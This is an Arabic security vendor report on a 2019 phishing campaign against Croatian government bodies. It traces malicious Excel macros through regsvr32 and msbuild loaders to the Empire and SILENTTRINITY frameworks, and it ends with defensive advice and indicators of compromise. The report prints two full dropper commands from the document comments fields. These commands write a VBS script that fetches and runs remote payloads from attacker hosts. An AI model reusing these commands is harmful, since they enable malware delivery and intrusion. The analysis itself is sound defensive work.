
دائمًا ما يتابع خبراؤنا من مركز أمان الخبراء ومراقبة ظهور تهديدات جديدة وخطيرة ومثيرة. هكذا تم اكتشاف هجوم مستهدف على الحكومة الكرواتية في أوائل أبريل 2019. فحص هذا التقرير سلسلة تسليم البرامج الضارة إلى كمبيوتر الضحية ، وقدم مؤشرات على التسوية ، وأشار إلى استخدام إطار عمل جديد بعد التشغيل ، والذي ، وفقًا لبياناتنا ، لم يستخدمه المهاجمون مطلقًا.
إصابة الضحية
في 2 أبريل 2019 ، أثناء مراقبة روتينية لمختلف الموارد للبرامج الضارة الجديدة ، اكتشف خبراء PT Security Security Center وثيقة مكتب غير عادية.
الشكل 1. وثيقة ضارةتم إنشاء إشعار الإرسال في تطبيق MS Excel office وحفظه بتنسيق XLS القديم في اليوم السابق (2019-04-01 16:28:07 (UTC)). ومع ذلك ، يشير الطابع الزمني الحالي للطباعة (2018-07-25 00:12:30 (UTC)) إلى أنه تم استخدام المستند منذ عام 2018. سنعود إلى هذا أعراض غير مباشرة أدناه.
من الجدير بالذكر أن حقل التعليقات (والذي يمكن تغييره ، بما في ذلك استخدام تطبيق MS Excel) يحتوي على أمر في Windows shell:
cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"): objShell.Run "net use https://postahr.vip", 0, False: Wscript.Sleep 10000: objShell.Run "regsvr32 /u /n /s /i:https://postahr.vip/page/1/update.sct scrobj.dll", 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs
الشكل 2. حقل "التعليقات" مع محتوى مشبوه
الشكل 3. محتويات حقل التعليقات في شكل ثنائينتيجة لتنفيذ هذا الأمر ، يقوم النظام بإنشاء برنامج نصي بلغة Visual Basic ، والتي ، عند إطلاقها ، ستنفذ الإجراءات التالية:
- توصيل مورد شبكة باستخدام تقنية WebDAV ،
- قم بتنزيل وتشغيل ملف المرحلة التالية من الإصابة باستخدام الأداة المساعدة للنظام الشرعي regsvr32.
عندما يتم توصيل مورد شبكة عبر HTTP (S) ، يتم إرسال طلب NTLM إلى خادم المهاجم ، والذي يمكن استعادة تجزئة NTLM به. ثم يمكن استخدام التجزئة المستلمة للترخيص بشأن الخدمات نيابة عن الضحية. لم نعثر على آثار لمثل هذه الهجمات ، ولا تزال أسباب اتصال مورد شبكة غير واضحة.
تقنية استخدام regsvr32 (إدارة عناصر تحكم ActiveX) لأغراض ضارة ليست جديدة بل لها اسم - Squiblydoo. يستخدمه المهاجمون للامتثال لمتطلبات التحكم في إطلاق البرامج الموثوقة ، وكذلك لتجاوز اكتشاف مكافحة الفيروسات.
في حد ذاته ، النص في حقل التعليقات غير ضار ، ويجب أن يكون تنفيذه مشروطًا بطريقة ما. عندما يفتح الضحية مستند Excel المستلم ، تظهر رسالة اعتراض باللغة الكرواتية تخبرك بتضمين وحدات ماكرو:
الشكل 4. رسالة فخ بعد فتح وثيقةإذا تم السماح بوحدات الماكرو ، فسيرى المستخدم إشعار حزمة وهمية مع الشعار البريدي الكرواتي:
الشكل 5. إخطار الحزمة الزائفةوفي الوقت نفسه ، باستخدام أدوات الماكرو ، سيتم تنفيذ البرنامج النصي لحقل التعليقات ، وسيتم إضافة البرنامج النصي الذي تم إنشاؤه في النظام إلى بدء التشغيل:
الشكل 6. مفتاح الماكرو المنطقالغريب ، البرنامج النصي الذي يتم إنشاؤه لا يتم تشغيله بواسطة ماكرو. ربما يكون هذا هو هدف المهاجم: ستحدث المرحلة التالية من الإصابة بعد إعادة تشغيل النظام وتسجيل دخول المستخدم. سوف نعود إلى هذه التفاصيل أدناه.
جزء من السيناريو مثير للاهتمام بطريقته الخاصة: يمكن أن تكون بنية رمز أنيق مع التنسيق ، المسافة البادئة والفروق الدقيقة الأخرى من العلامات علامة على استخدام رمز الجهة الخارجية وحتى برنامج يسمح لك بإنشاء مثل هذه المستندات تلقائيًا.
الشكل 7. يفترض استعار جزء من الماكرويوفر البحث عن الكلمات الرئيسية العديد من الأجزاء المشابهة من التعليمات البرمجية على الموارد المختلفة. نحن نميل إلى الاعتقاد بأن المتسلل قد عثر ببساطة على رمز البرنامج المناسب وقم بتعديله قليلاً لتنفيذ الإجراءات التي يحتاجها:
الشكل 8. مثال لماكرو مماثل على issuu.com
الشكل 9. مثال على ماكرو مماثل على stackoverflow.com
الشكل 10. مثال لماكرو مماثل على dummies.comدعنا نعود إلى المرحلة التالية من الإصابة باستخدام الأداة المساعدة regsvr32. عند تنفيذ الأمر ، سيتم تنزيل البرنامج النصي update.sct في JavaScript من خادم المهاجم. يحتوي نص البرنامج النصي على البيانات الثنائية المشفرة بواسطة خوارزمية Base64. بعد فك التشفير ، سيتم إلغاء تسلسل البيانات المستلمة وتنفيذها باستخدام النظام الأساسي لبرنامج .NET Framework.
الشكل 11. تم تنزيل البرنامج النصي update.sct من خادم المهاجمتجدر الإشارة إلى أن هذا الرمز تم استعارته أيضًا من قبل المهاجم على أحد الموارد العامة:
الشكل 12. مثال على كود مشابه على rastamouse.me
الشكل 13. مثال على الكود المشابه على github.comلا يبدو أن المتسلل تخترق بعناية في منطق الأدوات المستخدمة. على سبيل المثال ، في البرنامج النصي المدروس ، يتم استدعاء وظيفة setversion ، والتي لا تفعل شيئًا. مثال واحد على شبكة الإنترنت يبدو أيضا.
الكائن الذي تم فك حزمه وإطلاقه هو ملف PE قابل للتنفيذ على النظام الأساسي .NET.
الشكل 14. رأس ملف PE القابل للتنفيذ
الشكل 15. تصحيح معلومات ملف SharpPick PEكنتيجة للتجميع ، تم الحفاظ على المسار إلى المشروع مع الكود المصدري. تشير لاحقة -master إلى أن المشروع قد تم استنساخه مسبقًا من المستودع ، وأن دليل SharpPick يؤدي إلى تطبيق معروف يسمح لك بتنزيل شفرة PowerShell وتنفيذها دون استخدام مترجم اللغة مباشرةً ، ولكن باستخدام تبعيات .NET مباشرة.
على الرغم من توفر مشروع الأداة المساعدة SharpPick على GitHub ، يجب عليك التأكد من عدم إجراء تغييرات مهمة.
الشكل 16. جزء من شفرة الأداة المساعدة SharpPick decompiledنتيجة لفك الشفرة ، تم الحصول على كود زائف ، يتم خلاله فك تشفيره من Base64 ويتم تشغيل البرنامج النصي PowerShell:
الشكل 17. برنامج تحويل PowerShell النصي جزئيًابعد تبسيط الرمز ، ليس من الصعب تحليل منطقه:
- يتم تكوين كائن للتفاعل مع خادم الويب باستخدام إعدادات وكيل المستخدم وملفات تعريف الارتباط والوكيل المحددة ؛
- يتم تحميل الحمولة على العنوان المحدد ؛
- يتم فك تشفير النتيجة بواسطة خوارزمية RC4 باستخدام المفتاح المحدد وبدأ تشغيله.
لسوء الحظ ، أثناء بحثنا ، لم يكن خادم الإدارة متاحًا بالفعل. البيانات التي وردت منه في وقت سابق ، لم نتمكن من العثور عليها. ومع ذلك ، فهناك هذه المرة معلومات كافية على الويب (على سبيل المثال: تقرير زملائنا من
FireEye )
لتأسيسها بشكل لا لبس فيه: إن الرابط النهائي في سلسلة العدوى هذه هو Empire backdoor ، وهي أداة للإدارة عن بُعد لجهاز الكمبيوتر الخاص بالضحية كجزء من إطار عمل ما بعد التشغيل Empire Framework.
الشكل 18. استخدام برنامج نصي PowerShell مماثل لمهاجمة الثغرات الأمنية في برنامج WinRARومن المثير للاهتمام ، أن أنماط البرامج النصية الأخرى تؤدي إلى مقالة موسعة حول تقنيات اختبار الاختراق مع إيلاء اهتمام خاص لإخفاء البنية التحتية للمهاجمين وراء الخوادم الوكيلة. المصدر المحتمل للمعلومات التي يستخدمها المهاجم هو مقالة لزملاء من Payatu Technologies ، حيث
يقدمون إرشادات مفصلة حول إعادة توجيه الجلسات إلى الموارد الشرعية ، وحظر الحزم غير المرغوب فيها ، والتسجيل ، وما إلى ذلك ، بما في ذلك استخدام Empire.
بعد ساعات قليلة ، وجدنا وثيقة أخرى على الطرود. لديها العديد من أوجه التشابه مع السابقة: وجدت أيضا في كرواتيا (2019-04-02 16:52:56 (UTC)) ، لها نفس الاسم وحتى صورة فخ عن الطرود المستلمة. ولكن لا تزال هناك اختلافات.
يوجد الرمز الخبيث مرة أخرى في حقل التعليقات ، لكن هذه المرة تم تغيير منطق الإجراءات.
cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"):objShell.Run "C:\windows\system32\cmd.exe /c net use \\176.105.255.59\webdav",0:Wscript.Sleep 60000: objShell.Run "%windir%\Microsoft.Net\Framework\v4.0.30319\msbuild.exe \\176.105.255.59\webdav\msbuild.xml" , 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs
- مورد الشبكة متصل باستخدام بروتوكول SMB.
- قم بتنزيل وإطلاق المرحلة التالية من الإصابة باستخدام msbuild ، وهي أداة مساعدة مشروعة لحزمة .NET Framework.
من المثير للاهتمام أن خط webdav موجود في عنوان الدليل المثبت ، ويربط بشكل غير مباشر هذه الحالة بالحالة السابقة. هذه المرة ، لا يزال الهجوم على تجزئة NTLM ممكنًا ، على الرغم من عدم وجود دليل على استخدامه. مرة أخرى ، يتم استخدام تطبيق شرعي (هذه المرة msbuild) لتجاوز القيود المفروضة على بدء تشغيل برامج الجهة الخارجية بنجاح. قبل أن نصف تقنية الإساءة ، نذكر الاختلافات في رمز البرنامج الخاص بالوثيقة الجديدة.
لم يقم المهاجمون بإجراء تغييرات كبيرة على منطق البرنامج النصي VBA. لكن تجدر الإشارة إلى أنه هذه المرة لا يوفرون تحميلًا تلقائيًا للبرنامج النصي VBS الذي تم إنشاؤه في النظام فحسب ، بل يقومون أيضًا بتشغيله عند فتح المستند. على الأرجح ، في الحالة السابقة ، نسي المهاجمون ذلك ببساطة ، وبعد مرور بعض الوقت ، بعد أن اكتشفوا خطأً ، قاموا بتصحيحه في الإصدار الجديد من المستند.
الشكل 19. مقارنة رمز الماكرو في وثيقتينالمرحلة التالية من الإصابة هي مستند XML يحتوي على رمز C #. تتيح لك إحدى ميزات الأداة المساعدة msbuild تجميع التعليمات البرمجية المضمنة وتشغيلها أثناء التنقل ، كما يتضح من التعليقات التي تركها المخترق في بداية الترميز.
يتم عرض المخزن المؤقت Base64 مرة أخرى في التعليمات البرمجية ، والتي سيتم فك تشفيرها ، إلغاء ضغطها بواسطة خوارزمية Deflate وإطلاقها. نعتقد أن القارئ يدرك بالفعل أن المهاجم قد استخدم هذه المرة أيضًا قالبًا يمكن الوصول إليه مجانًا ، كما يتضح من التعليقات المذكورة والعديد من المصادر على الويب بنفس الكود.
الشكل 20. مهمة msbuild.xml تم تنزيلها من خادم المهاجمنتيجة لذلك ، سيتم تحميل ملف PE على نظام .NET هذه المرة وتنفيذه في الذاكرة. ولا تتضمن معلومات تصحيح الأخطاء فقط إشارة إلى أن المشروع قد تم جمعه على جهاز افتراضي (ربما لإخفاء معلومات عن المهاجم) ، ولكن أيضًا على دليل SILENTTRINITY ، الذي سنبحث فيه بمزيد من التفاصيل.
الشكل 21. تصحيح معلومات ملف SILENTTRINITY PEبعد دراسة هاتين الوثيقتين ، وجدنا اثنين آخرين. بقي كل من تنسيق الملف والاسم وصورة الملاءمة مع المنطقة المحددة على حالها. كانت المستندات متاحة في نهاية أغسطس 2018 ، مما يؤكد الفرضية حول الطبيعة الطويلة الأجل للحملة ، والتي كتبنا عنها في بداية التقرير.
من الغريب أن المتسللين في العام الماضي لم يستخدموا حقل "التعليقات" ، لكنهم أطلقوا أدوات مشروعة. تم تحميل المكون الضار باستخدام الأداة المساعدة للعمل مع الشهادات وعمليات تشفير certutil ، وتم توفير الإطلاق بواسطة أدوات إدارة نظام WMI:
الشكل 22. مقارنة بين 2018 وحدات ماكرو المستندلسوء الحظ ، بعد تحديد ما حدث ، لم نتمكن من إنشاء الروابط اللاحقة في سلسلة الهجوم 2018.
تجدر الإشارة أيضًا إلى أن جزءًا من شفرة البرنامج النصي لـ VBA لم يتغير ، باستثناء التعليقات المساعدة المحذوفة التي تشرح منطق العمل.
الشكل 23. مقارنة بين 2019 و 2018 وحدات الماكروإطار SilentTrinity
نتائج البحث عن الكلمة الأساسية SILENTTRINITY من معلومات التصحيح لملف PE يمكنها بسهولة تحديد أصل رابط الهجوم هذا. في أكتوبر 2018 ، نشر مارسيلو سالفاتي (باحث في Black Hills Information Security) مشروعًا يسمى SILENTTRINITY في مستودع جيثب الشهير. الفكرة الرئيسية: استخدام مرونة ومزايا إطار عمل PowerShell المعروف بعد التشغيل في لغة برمجة Python ، وهي IronPython. المشروع قيد التطوير حتى يومنا هذا.
لن نخوض في تفاصيل العمل وتنفيذ المشروع (خاصة وأن المؤلف تحدث بالتفصيل عن ذلك في
تقريره ). سنبرز فقط منطق العمل الأساسي ونقاط الاهتمام في التنفيذ.
بعد بدء ملف PE (ومع ذلك ، قد يكون الرابط الوسيط بتنسيق مختلف) ، يحدث ما يلي:
- الوصول إلى خادم الإدارة لتنزيل أرشيف ZIP مع التبعيات اللازمة ونص بيثون الرئيسي ؛
- يتم استخراج محتويات الأرشيف دون حفظها على القرص ؛
- يتم تسجيل التبعيات للمعالجة الناجحة لنصوص بايثون ؛
- تم إطلاق البرنامج النصي الرئيسي لبايثون ، في انتظار المهمة من المهاجم ؛
- يتم نقل كل مهمة كنص بيثون جاهز ؛
- يتم تنفيذ المهمة على جانب الضحية في خيط منفصل ؛
- يتم نقل نتيجة العمل مرة أخرى إلى خادم الإدارة.
الشكل 24. مخطط تشغيل إطار SilentTrinityمن الميزات التي تستحق تسليط الضوء على ما يلي:
- دعم IronPython ، بما في ذلك لغة Boo (مجموعة فرعية من IronPython مع كتابة بيانات قوية).
- لا يتطلب كل نشاط مساحة على القرص: توجد التبعيات والبرامج النصية والمهام في الذاكرة (هجوم غير مبرر).
- أرشفة مع التبعيات ، والمهام ، ونتيجة لعمل الفرق - يتم تشفير كل التواصل بين الضحية والمتسلل مع خوارزمية AES.
- يتم إنشاء المفتاح المشترك بواسطة بروتوكول Diffie-Hellman.
- يتم توفير نقل الشبكة على مستوى بروتوكول HTTP (S) مع دعم الوكيل.
الشكل 25. مثال على واجهة المستخدم لجانب الخادم لإطار SilentTrinityومن المثير للاهتمام ، في يوم الهجمات ، تم تحميل أداة تحميل PE على خدمة VirusTotal ، حيث لم يحددها أي بائع مضاد للفيروسات على أنه ضار. هذا ليس مفاجئًا: أولاً ، الملف الثنائي لا يصل إلى القرص ، ولا يكون اكتشاف التوقيع منطقيًا ؛ ثانياً ، لا يزال الكشف الثابت عن التقنية الوحيدة لحماية المستخدمين.
الشكل 26. نتائج مسح أداة تحميل الإقلاع SilentTrinity في يوم الهجومبالإضافة إلى ذلك ، بعد أيام قليلة من الهجوم ، لا تزال أحكام الكشف تظهر. من المهم أنه خلال فترة الهجمات ، إما أن المعدات الواقية لم تكن مجهزة بعد بخوارزميات الكشف ، أو أن التهديد لم يكن معروفًا من حيث المبدأ.
الشكل 27. نتيجة الفحص الحالية لمحمّل الإقلاع SilentTrinityعلى الأرجح ، كان هذا هو السبب في اختيار هذا الحل لشن الهجمات. ليس لدينا معلومات تفيد بأن إطار SilentTrinity قد تم استخدامه بالفعل في هجمات ضارة من قبل.
البنية التحتية المستخدمة من قبل المهاجمين
تجدر الإشارة إلى أن البنية التحتية للشبكة المستخدمة من قبل المتسللين مرتبطة زمنياً بالهجمات المستمرة.
جدول 1. معلومات عن المجالات المستخدمة كملقمات هجومية
تم إنشاء المجالات بطريقة تشبه الموارد الهجومية المشروعة. يتيح ذلك للمستخدمين اكتساب الثقة في هجمات التصيد الاحتيالي. لاحظ أن الموارد المعنية لا تقتصر على كرواتيا.
يتم تسجيل جميع المجالات باستخدام تقنية أمان WhoisGuard. يسمح لك بإخفاء المعلومات الحقيقية حول مسجل المجال من أجل الحماية من البريد العشوائي ، بينما يستخدم المهاجمون هذه التكنولوجيا لإخفاء الهوية.
تم استئجار الخوادم التي تقوم بتوزيع وإدارة البرامج الضارة من شركة Breezle الهولندية.
تتيح لنا جميع المعلومات المتوفرة حول العقد والعناوين ومجالات المهاجمين الذين لديهم الكثير من الصلات فيما بينهم أن نحكم على الكميات الكبيرة من البرامج الضارة التي كان لدى المهاجمين هذه المرة. لا نستبعد أنه في أدوات الحملة ، يمكن استخدام أدوات مشابهة لتلك التي تم النظر فيها ، وبقيت بعض حالات الإصابة دون حل.
الشكل 28. تمثيل رسومي للبنية التحتية للمهاجميناستنتاج
بعد يوم من اكتشاف الوثائق الواردة في
الأخبار ، تم إصدار بيان صحفي مع
رابط إلى إدارة أمن نظم المعلومات الكرواتية حول هجمات التصيد المستهدف. تم العثور على آثار في العديد من الهيئات الحكومية في البلاد. تشير التقارير إلى أنه تم إرسال رسائل البريد الإلكتروني إلى الضحايا مع وجود رابط إلى موقع التصيد الاحتيالي الذي اقترح منه تنزيل وثيقة ضارة بدأ منها تحليلنا. يؤدي هذا إلى ملء الروابط المفقودة في سلسلة الهجوم ، وفي النهاية نود الانتباه إلى طرق الحماية التي يمكن أن تقلل من أضرار هذه الهجمات:
- مراقبة والتحكم في استخدام بعض البرامج الموثوقة (certutil ، regsvr32 ، msbuild ، net ، wmic ...)
- فحص وتحليل ليس فقط المرفقات في رسائل البريد الإلكتروني ، ولكن أيضًا روابط الويب
- المسح الدوري لذاكرة الكمبيوتر على شبكة الشركة
- يمكن اكتشاف الاتصالات الناجحة مع C2 Silent Trinity (حتى في ظل بروتوكول TLS) باستخدام PT Network Attack Discovery ، بالإضافة إلى ذلك ، في مستودعنا الذي نشرناه يكشف عن المجتمع.
أرسلت بواسطة أليكسي فيشناكوف ، تقنيات إيجابية
ملحوظة: في هذا الموضوع ، قرأ المؤلف أيضًا تقريرًا في Days Hack Days 9. يتوفر فيديو هذا العرض والعروض التقديمية الأخرى على:
www.phdays.com/en/broadcast/ .
مؤشرات التسوية:0adb7204ce6bde667c5abd31e4dea164
13db33c83ee680e0a3b454228462e73f
78184cd55d192cdf6272527c62d2ff89
79e72899af1e50c18189340e4a1e46e0
831b08d0c650c8ae9ab8b4a10a199192
92530d1b546ddf2f0966bbe10771521f
c84b7c871bfcd346b3246364140cd60f
hxxps: //postahr.vip/page/1/update.sct
hxxps: //posteitaliane.live/owa/mail/archive.srf
hxxps: //konzum.win/bat3.txt
hxxp: //198.46.182.158/bat3.txt
hxxps: //176.105.255.59: 8089
[\\] 176.105.255.59 \ webdav \ msbuild.xml
postahr.online
176.105.254.52
93.170.105.32